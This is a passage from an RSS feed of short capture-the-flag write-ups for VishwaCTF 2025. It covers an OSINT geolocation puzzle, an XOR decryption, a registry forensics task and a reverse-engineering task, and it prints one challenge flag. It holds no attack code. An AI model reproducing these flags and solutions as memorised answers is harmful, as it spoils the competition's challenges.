            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for OSINT Challenge : The Summit</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><p>We got only <strong>1 image</strong> with a date on it. I used <strong>image search</strong> to look for clues.</p><p>After searching for events on <strong>5th January</strong> from the picture, I deduced it was related to an <strong>Indian place</strong>. I found an <strong>Indian Army Mela</strong> that started on <strong>3rd January</strong> and ended on <strong>5th January</strong>. This was enough to lead me to the flag.</p><p>The <strong>chief guest</strong> was the <strong>CM of Maharashtra, Devendra Fadnavis</strong>, and the event was held at <strong>Pune RWITC Race Course Ground</strong> in <strong>Pune</strong>.</p><p>I found the coordinates on <strong>Google Maps</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTAGu9scbXod8ZQipyL12g.png" /></figure><p><strong>18.5126758, 73.889503</strong>.</p><p>So, I tried using the flag format:<br><strong>VishwaCTF{18.51,73.89_Devendra Fadnavis}</strong> and it worked!</p><p><strong>PWNED.</strong> 🎯🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0da0bcdd0c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for Cryptography Challenge : Chaos]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-cryptography-challenge-chaos-adaf35e0a0c2?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/adaf35e0a0c2</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 12:07:26 GMT</pubDate>
            <atom:updated>2025-03-06T12:07:26.080Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for Cryptography Challenge : Chaos</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><p>We obtained <strong>output.txt</strong> and a Python file named <strong>challenge.py</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*vKOKlWgVh9aFV-9S_bmnzA.png" /></figure><p>Python File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*LuK1ZAVBOhWzN89BKJaGug.png" /></figure><p>After analyzing <strong>challenge.py</strong>, we identified that it uses <strong>XOR encryption</strong>. So, we reverse-engineered it with a custom script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*w0qfSCm89AE3ewrKGDPklA.png" /></figure><p>In the end, we successfully decrypted the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*9RKwckYUZkx6CuAtaiH-hw.png" /></figure><p>Just submitted everything and <strong>PWNED.</strong> 🚀🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adaf35e0a0c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for Digital Forensics Challenge (HARD): Persist]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-digital-forensics-challenge-hard-persist-3e64cf1fa39c?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e64cf1fa39c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 11:53:31 GMT</pubDate>
            <atom:updated>2025-03-06T11:53:31.115Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for Digital Forensics Challenge (HARD): Persist</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*MnPP5gHRMQg9jOnDccBSPg.png" /></figure><p>We obtained <strong>Persist.zip</strong>, which contains Windows Registry files from <strong>HKCU</strong> and <strong>HKLM/SOFTWARE</strong>.</p><p>I used <strong>RegRipper</strong> to extract the data and found something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*965W8x4jufvyvpYzZ2owrg.png" /></figure><p>So, we got it. ✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e64cf1fa39c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for Reverse Engineering  Challenge(Medium): Hungry Friends]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-reverse-engineering-challenge-medium-hungry-friends-36ab8a58c3ee?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/36ab8a58c3ee</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 11:33:52 GMT</pubDate>
            <atom:updated>2025-03-06T11:33:52.509Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for Reverse Engineering Challenge(Medium): Hungry Friends</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*KTY3SOKGSIZ2Vx2m5TpOAA.png" /></figure><p>We obtained the snakes.exe file and used IDA Pro to decompile it. Upon analysis, we found a direct call to the show_flag function—too easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*FjhsExDRsQiN4kN__0IYdg.png" /></figure><p><strong>PWNED.</strong> 🎯🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*PsL1rfnU8IcVItLdvQop7Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36ab8a58c3ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>